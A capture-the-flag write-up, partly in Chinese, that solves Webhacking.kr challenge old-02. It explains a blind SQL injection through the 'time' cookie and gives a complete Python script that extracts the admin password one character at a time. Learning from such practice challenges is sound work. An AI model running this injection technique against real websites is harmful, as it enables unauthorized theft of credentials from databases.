Webhacking.kr old-02

Challenge

The time cookie is used in a blind SQL injection.

time cookie 存在 blind SQL injection。

1
https://webhacking.kr/challenge/web-02/

Analysis

页面把 time Cookie 带入数据库查询。对 Cookie 发送真假条件时,响应中的时间标记会随条件改变,这个差异就是 blind SQL injection 的 oracle。先确认目标字段的长度,再逐字符枚举 ASCII 值,就能从 admin_area_pw 取出管理员密码。枚举请求只读取页面,提交密码时才访问 /challenge/web-02/admin.php。

Solution

下面的脚本使用当前 challenge 的响应标记 2070-01-01 09:00:01 作为 true 条件,并逐字符提取 admin_area_pw.pw。它不会提交管理员表单;脚本输出的值需要手动填入密码表单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD02_URL", "https://webhacking.kr/challenge/web-02/"
)
TRUE_MARKER = os.environ.get("OLD02_TRUE_MARKER", "2070-01-01 09:00:01")
TABLE = "admin_area_pw"
COLUMN = "pw"
MAX_LENGTH = 64

def query(session: requests.Session, condition: str) -> bool:
"""Return the boolean result observed through the time-cookie response."""
payload = f"1 AND ({condition})"
response = session.get(
BASE_URL,
cookies={"time": payload},
timeout=10,
)
response.raise_for_status()
return TRUE_MARKER in response.text

def find_length(session: requests.Session) -> int:
expression = f"LENGTH((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1))"
for length in range(1, MAX_LENGTH + 1):
if query(session, f"{expression}={length}"):
return length
raise RuntimeError("password length was not found within MAX_LENGTH")

def find_character(session: requests.Session, position: int) -> str:
expression = (
f"ASCII(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1),"
f"{position},1))"
)
for codepoint in range(32, 127):
if query(session, f"{expression}={codepoint}"):
return chr(codepoint)
raise RuntimeError(f"ASCII value not found at position {position}")

def extract_password(session: requests.Session) -> str:
length = find_length(session)
return "".join(
find_character(session, position)
for position in range(1, length + 1)
)

def main() -> int:
with requests.Session() as session:
password = extract_password(session)
print(password)
return 0

if __name__ == "__main__":
sys.exit(main())

将脚本输出提交到:

1
https://webhacking.kr/challenge/web-02/admin.php